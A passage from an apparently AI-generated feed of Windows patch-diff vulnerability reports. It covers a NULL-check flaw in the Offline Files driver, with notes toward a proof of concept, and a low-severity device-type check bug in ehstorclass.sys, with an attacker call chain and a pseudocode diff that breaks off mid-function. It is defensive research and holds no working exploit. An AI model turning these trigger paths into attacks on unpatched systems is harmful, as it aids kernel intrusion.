&lt;p&gt;&lt;strong&gt;Confidence: High.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rationale:
- The diff is unambiguous and direction-correct: two &lt;code&gt;call Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt; sequences (unpatched) are replaced by two &lt;code&gt;test rdi, rdi&lt;/code&gt; sequences (patched) at the same guard points. The vulnerable pattern is present only in the unpatched binary.
- The missing-NULL-check flaw is plainly visible in the assembly: &lt;code&gt;call feature; test eax,eax; jz block&lt;/code&gt; skips the &lt;code&gt;test rdi, rdi&lt;/code&gt; at &lt;code&gt;0x1C005FFEB&lt;/code&gt; (entry) / &lt;code&gt;0x1C0060541&lt;/code&gt; (exit) whenever the feature check returns 0.
- &lt;code&gt;sub_1c0007a70&lt;/code&gt; is confirmed as &lt;code&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt;, a WIL staged-feature helper (reads &lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt;, tests bit &lt;code&gt;0x10&lt;/code&gt;, falls back to &lt;code&gt;Feature_4082332987__private_IsEnabledFallback&lt;/code&gt; → &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;). It is not an Offline-Files registry flag.&lt;/p&gt;
&lt;p&gt;Assumptions made (require manual verification before PoC):
1. &lt;strong&gt;Call-chain routing.&lt;/strong&gt; The reachable path is &lt;code&gt;CscFsCtl (sub_1c004c760) → CscDclInternalFsControl (sub_1c004c938, call at 0x1C004CDA7) → CscDclMRxTransition (sub_1c005ff5c)&lt;/code&gt;, confirmed by the call sites. The MINIRDR dispatch table is populated by &lt;code&gt;CscInitializeDispatchTable (sub_1c008f338)&lt;/code&gt;; &lt;code&gt;DriverEntry&lt;/code&gt; is a separate function at &lt;code&gt;0x1C008F950&lt;/code&gt;.
2. &lt;strong&gt;FSCTL codes.&lt;/strong&gt; The exact operation codes that route through &lt;code&gt;CscDclInternalFsControl&lt;/code&gt; to &lt;code&gt;CscDclMRxTransition&lt;/code&gt; must be confirmed against the CSC dispatch.
3. &lt;strong&gt;Trigger route feasibility.&lt;/strong&gt; Reaching a NULL LVIEW pointer (&lt;code&gt;*(*(arg1+0x38)+0x70) == NULL&lt;/code&gt;) at &lt;code&gt;CscDclMRxTransition&lt;/code&gt; with the feature disabled must be validated empirically.
4. &lt;strong&gt;Feature state forcing.&lt;/strong&gt; Confirm how &lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt; bit &lt;code&gt;0x10&lt;/code&gt; and the fallback are driven to make the check return 0 (WIL feature-staging configuration).&lt;/p&gt;
&lt;p&gt;What a researcher should verify manually:
- The operation code that maps to &lt;code&gt;arg2 ∈ {1,2,3}&lt;/code&gt;.
- Whether a low-privileged user can reach the FSCTL dispatch (&lt;code&gt;CscFsCtl&lt;/code&gt;) with a NULL LVIEW context.
- Whether any earlier in-driver check blocks the NULL-LVIEW case before &lt;code&gt;CscDclMRxTransition&lt;/code&gt;.
- The exact FSCTL codes that route to &lt;code&gt;CscFsCtl (sub_1c004c760)&lt;/code&gt;.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>ehstorclass.sys — Missing device-type check before installing IEEE 1667 silo completion routine (CWE-697/CWE-843) — fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ehstorclass_b1beb976-ehstorclass-report-20260628-222013.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/ehstorclass_b1beb976-ehstorclass-report-20260628-222013.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ehstorclass_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ehstorclass_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9913&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;164&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;163&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch inserts a single device-type gate inside the WDM IRP preprocess callback (&lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt;, &lt;code&gt;0x1c0005790&lt;/code&gt;) that runs for &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; / &lt;code&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/code&gt; on IEEE 1667 disk PDOs. Without this gate the driver installs the silo-specific completion routine (&lt;code&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/code&gt;) for SCSI and IOCTL &lt;code&gt;0x4d004&lt;/code&gt; silo traffic on any silo PDO, including device types whose extension capability field marks them as ones the silo post-processing should not touch. The completion routine's job is to rewrite the SCSI sense/status response (inject CHECK CONDITION), so running it on the wrong device type corrupts that device's SCSI responses. The completion routine itself is byte-identical between the two builds; the entire security delta is the inline gate in the dispatch function.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Silo completion routine installed without a device-type check&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;Missing device-type validation (CWE-697) before applying IEEE 1667 silo-specific processing to an incompatible device type (CWE-843)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; (&lt;code&gt;0x1c0005790&lt;/code&gt;, WDM IOCTL/SCSI IRP preprocess callback)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry point&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; (IOCTL &lt;code&gt;0x4d004&lt;/code&gt;/&lt;code&gt;0x4d005&lt;/code&gt; IEEE 1667 silo commands) and &lt;code&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/code&gt; (SCSI pass-through) against IEEE 1667 disk PDOs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; is registered via &lt;code&gt;WdfDeviceInitAssignWdmIrpPreprocessCallback&lt;/code&gt; (in &lt;code&gt;DriverEvtDeviceAdd&lt;/code&gt;, &lt;code&gt;0x1c0013010&lt;/code&gt;) for major functions &lt;code&gt;0x0E&lt;/code&gt; and &lt;code&gt;0x0F&lt;/code&gt;. After computing its copy/forward dispatch flags, the unpatched code calls &lt;code&gt;IoCopyCurrentIrpStackLocationToNext&lt;/code&gt; and installs the completion routine &lt;code&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/code&gt; with &lt;code&gt;Control = 0xC0&lt;/code&gt; (&lt;code&gt;SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR&lt;/code&gt;) whenever:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the request is &lt;code&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/code&gt; (SCSI, major function &lt;code&gt;0x0F&lt;/code&gt;) on a silo device (&lt;code&gt;ext+0x08 != 0&lt;/code&gt;), &lt;strong&gt;or&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;the request is &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; with IOCTL &lt;code&gt;0x4d004&lt;/code&gt;/&lt;code&gt;0x4d005&lt;/code&gt; and the system buffer bytes at offsets &lt;code&gt;0x24&lt;/code&gt;/&lt;code&gt;0x25&lt;/code&gt; do &lt;em&gt;not&lt;/em&gt; match the rejection magic &lt;code&gt;0xa2/0xee&lt;/code&gt; or &lt;code&gt;0xb5/0xee&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The completion routine then performs silo-specific post-processing on the completed request:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Acquires a WDF lock at &lt;code&gt;ext+0x1E8&lt;/code&gt; and releases it after the table walk.&lt;/li&gt;
&lt;li&gt;Parses SCSI VPD/CDB response descriptors (type codes &lt;code&gt;0x40&lt;/code&gt;/&lt;code&gt;0x41&lt;/code&gt;/&lt;code&gt;0x42&lt;/code&gt;) out of a response buffer, computing an LBA range. This parsing is bounds-checked against the descriptor length before each field read (for example &lt;code&gt;cmp rax, rcx; ja &amp;lt;exit&amp;gt;&lt;/code&gt; at &lt;code&gt;0x1c0005c5d&lt;/code&gt;/&lt;code&gt;0x1c0005c60&lt;/code&gt;, &lt;code&gt;0x1c0005c85&lt;/code&gt;/&lt;code&gt;0x1c0005c88&lt;/code&gt;, and the length checks at &lt;code&gt;0x1c0005dfc&lt;/code&gt; and &lt;code&gt;0x1c0005e2f&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Binary-searches a silo LBA-range table at &lt;code&gt;ext+0x1D0&lt;/code&gt; (entry count at &lt;code&gt;ext+0x1D8&lt;/code&gt;, each entry &lt;code&gt;0x18&lt;/code&gt; bytes). The table walk is guarded by the entry count: the search loop runs only when the count is &lt;code&gt;&amp;gt; 1&lt;/code&gt; (&lt;code&gt;cmp r10d, 1; jbe&lt;/code&gt; at &lt;code&gt;0x1c000610d&lt;/code&gt;), and a count of &lt;code&gt;0&lt;/code&gt; skips every table dereference (&lt;code&gt;cmp edx, r10d; jnb&lt;/code&gt; at &lt;code&gt;0x1c0006145&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If a matching range is found, mutates the SCSI response: sets the status byte to CHECK CONDITION (&lt;code&gt;| 0x70&lt;/code&gt;), writes sense code &lt;code&gt;0x0220&lt;/code&gt;, and ORs &lt;code&gt;0x80&lt;/code&gt; into the SRB status flags (&lt;code&gt;0x1c00061ee&lt;/code&gt;–&lt;code&gt;0x1c0006233&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This response rewriting is only appropriate for IEEE 1667 silo devices whose type warrants silo interception. For device PDOs whose capability field at &lt;code&gt;ext+0x130&lt;/code&gt; has bits 12–15 &lt;code&gt;&amp;gt;= 6&lt;/code&gt; (&lt;code&gt;[ext+0x130] &amp;amp; 0xf000 &amp;gt;= 0x6000&lt;/code&gt;), the unpatched driver still installs the completion routine and can therefore rewrite the SCSI sense/status of an otherwise-healthy response for a device that should have been passed through untouched.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Demonstrable impact.&lt;/strong&gt; What the binaries actually support is an &lt;strong&gt;integrity/availability&lt;/strong&gt; problem localized to the affected device: the completion routine can inject a spurious CHECK CONDITION and sense code &lt;code&gt;0x0220&lt;/code&gt; into the SCSI response for a device type that should not be intercepted, corrupting that device's I/O response semantics. The table walk (&lt;code&gt;ext+0x1D0&lt;/code&gt;/&lt;code&gt;ext+0x1D8&lt;/code&gt;) is count-guarded and the VPD/descriptor parsing is length-checked, so the natural zero-initialized extension state (count &lt;code&gt;0&lt;/code&gt;, pointer NULL) does not dereference the table. No out-of-bounds access, pool corruption, or control-flow primitive is demonstrable from these binaries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patch.&lt;/strong&gt; The patched binary inserts a gate at &lt;code&gt;0x1c0005930&lt;/code&gt;: it reads &lt;code&gt;[ext+0x130]&lt;/code&gt;, masks with &lt;code&gt;0xf000&lt;/code&gt;, compares against &lt;code&gt;0x6000&lt;/code&gt;, and folds the result (&lt;code&gt;sbb&lt;/code&gt;) into both the copy flag (&lt;code&gt;bpl&lt;/code&gt;) and the forward flag (&lt;code&gt;dil&lt;/code&gt;). When the masked field is &lt;code&gt;&amp;gt;= 0x6000&lt;/code&gt; both flags are forced to &lt;code&gt;0&lt;/code&gt;, so the function takes &lt;code&gt;IoSkipCurrentIrpStackLocation + IofCallDriver&lt;/code&gt; (transparent pass-through) and never installs the completion routine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (attacker → flaw):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;DeviceIoControl(hDevice, 0x4d004, ...)&lt;/code&gt; or &lt;code&gt;IOCTL_SCSI_PASS_THROUGH[_DIRECT]&lt;/code&gt; produces &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; (&lt;code&gt;0x0E&lt;/code&gt;) or &lt;code&gt;IRP_MJ_INTERNAL_DEVICE_CONTROL&lt;/code&gt; (&lt;code&gt;0x0F&lt;/code&gt;) on the IEEE 1667 PDO.&lt;/li&gt;
&lt;li&gt;WDF routes the IRP to the WDM preprocess callback &lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; (registered in &lt;code&gt;DriverEvtDeviceAdd&lt;/code&gt;, &lt;code&gt;0x1c0013010&lt;/code&gt;, for major functions &lt;code&gt;0x0E&lt;/code&gt;/&lt;code&gt;0x0F&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; dispatches by major function, computes the copy/forward flags, calls &lt;code&gt;IoCopyCurrentIrpStackLocationToNext&lt;/code&gt;, and installs &lt;code&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/code&gt; as the completion routine.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IofCallDriver&lt;/code&gt; forwards the IRP to the lower storage port driver.&lt;/li&gt;
&lt;li&gt;On completion, &lt;code&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/code&gt; runs: takes the &lt;code&gt;ext+0x1E8&lt;/code&gt; lock, parses the SCSI response descriptors, searches the &lt;code&gt;ext+0x1D0&lt;/code&gt; range table, and (on a range match) rewrites the SCSI sense/status — even for a device type where this interception is not intended.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED FilterDeviceEvtWdmIoctlIrpPreprocess (0x1c0005790) — forwarding section (NO device-type check) ===&lt;/span&gt;
&lt;span class="c1"&gt;// r8b = &amp;quot;copy stack + install completion&amp;quot; flag&lt;/span&gt;
&lt;span class="c1"&gt;// sil = &amp;quot;use WDF forward vs IofCallDriver&amp;quot; flag&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// IoSkipCurrentIrpStackLocation&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentLocation&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;stack_loc_next&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// IoCopyCurrentIrpStackLocationToNext + install completion routine&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// copy parameters etc.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stack_loc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// clear Control&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// *** COMPLETION ROUTINE — UNCONDITIONAL ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;device_object&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// context&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// SUCCESS | ERROR&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Forward — no inspection of device extension type&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IofCallDriver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;drv_obj&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;wdf_forward&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED FilterDeviceEvtWdmIoctlIrpPreprocess (0x1c0005790) — NEW device-type gate ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devtype&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device_ext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x130&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xF000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** NEW: read+mask capability field ***&lt;/span&gt;
